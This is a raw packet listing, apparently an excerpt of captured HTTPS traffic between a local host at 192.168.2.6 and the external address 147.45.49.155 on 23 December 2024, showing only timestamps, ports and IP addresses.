Dec 23, 2024 08:39:26.143997908 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.143997908 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.144026995 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.144073009 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.148840904 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.148869038 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.148940086 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.148964882 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.149015903 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.155049086 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.155111074 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.155148983 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.155175924 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.155198097 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.155229092 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.160386086 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.160442114 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.160481930 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.160509109 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.160531998 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.160548925 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.166062117 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.166085005 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.166143894 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.166172028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.166225910 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.172204018 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.172224998 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.172291040 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.172321081 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.172363997 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.242022991 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.242050886 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.242110968 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.242141008 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.242156029 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.242183924 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.331108093 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.331166983 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.331211090 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.331239939 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.331257105 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.331276894 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.336891890 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.336919069 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.336975098 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.337002993 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.337024927 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.337040901 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.341350079 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.341370106 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.341427088 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.341450930 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.341474056 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.341490984 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.346966028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.346987963 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.347050905 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.347074986 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.347121954 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.352638006 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.352659941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.352727890 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.352752924 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.352794886 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.357697964 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.357716084 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.357773066 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.357799053 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.357840061 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.364880085 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.364914894 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.364959002 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.364984989 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.365004063 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.365016937 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.433867931 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.433924913 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.433964014 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.433995008 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.434010983 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.434046984 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.522327900 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.522382975 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.522428989 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.522461891 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.522480965 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.522509098 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.527414083 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.527465105 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.527497053 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.527508974 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.527548075 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.533195972 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.533242941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.533273935 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.533283949 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.533314943 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.533338070 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.538949966 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.538995981 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.539026976 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.539036989 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.539078951 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.544353962 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.544399977 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.544429064 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.544436932 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.544472933 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.544493914 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.550081015 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.550107002 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.550196886 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.550196886 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.550204039 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.550251961 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.555167913 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.555186033 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.555254936 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.555262089 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.555305004 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.625916004 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.625951052 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.626007080 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.626064062 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.626096964 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.626111984 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.714071035 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.714111090 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.714180946 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.714220047 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.714241028 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.714715004 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.719908953 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.719928026 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.720017910 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.720027924 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.720202923 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.725450039 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.725471020 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.725558043 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.725568056 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.725936890 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.731288910 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.731307983 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.731409073 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.731420994 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.731559038 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.736687899 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.736713886 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.736814976 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.736825943 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.737529039 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.741838932 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.741857052 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.741946936 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.741959095 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.742199898 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.747679949 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.747698069 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.747771978 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.747781992 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.748018980 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.817878962 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.817903996 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.818075895 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.818114042 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.822206020 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.906910896 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.906936884 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.907040119 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.907077074 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.908293009 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.912158966 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.912175894 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.912271023 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.912280083 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.912556887 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.917608023 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.917628050 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.917717934 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.917726994 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.917779922 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.923465014 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.923487902 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.923542976 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.923552036 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.923587084 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.923607111 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.928971052 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.928987980 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.929132938 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.929141998 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.929469109 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.934698105 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.934715033 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.934814930 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.934823990 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.935069084 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.939812899 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.939835072 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.939888000 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.939909935 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:26.939939976 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:26.939954042 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.009854078 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.009886980 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.009931087 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.009972095 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.009991884 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.010031939 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.098784924 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.098812103 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.098918915 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.098964930 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.099009991 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.104551077 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.104571104 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.104650021 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.104687929 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.104993105 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.109674931 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.109708071 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.109791994 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.109823942 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.109855890 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.109873056 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.115433931 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.115454912 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.115549088 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.115582943 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.117078066 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.120951891 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.120969057 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.121068001 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.121103048 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.121238947 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.126622915 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.126640081 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.126704931 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.126733065 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.129024982 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.132472038 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.132488966 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.132627010 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.132637024 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.136509895 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.202186108 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.202258110 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.202311039 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.202349901 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.202373028 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.202389956 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.291196108 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.291223049 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.291352034 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.291389942 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.291444063 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.296279907 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.296295881 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.296356916 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.296365976 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.296626091 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.302090883 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.302109957 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.302206993 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.302215099 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.302258968 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.307770967 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.307789087 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.307885885 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.307893991 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.308182955 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.313184023 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.313206911 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.313275099 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.313283920 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.313313961 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.313334942 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.319020987 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.319050074 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.319133997 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.319158077 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.319173098 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.319196939 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.324142933 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.324162006 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.324232101 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.324243069 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.324265957 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.324289083 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.394311905 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.394340992 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.394401073 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.394432068 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.394448996 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.394474030 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.483207941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.483233929 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.483335972 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.483355045 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.483597994 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.488270044 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.488291025 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.488409996 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.488416910 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.489240885 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.494112968 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.494132042 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.494240999 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.494249105 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.494477034 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.499929905 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.499953985 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.500063896 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.500106096 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.500196934 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.505377054 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.505395889 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.505496025 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.505516052 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.505711079 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.511074066 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.511097908 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.511204004 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.511223078 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.511486053 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.516231060 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.516248941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.516326904 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.516349077 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.516369104 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.520458937 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.586844921 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.586868048 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.586972952 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.587008953 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.587157011 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:27.675298929 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:27.675338984 CET	443	49734	147.45.49.155	192.168.2.6
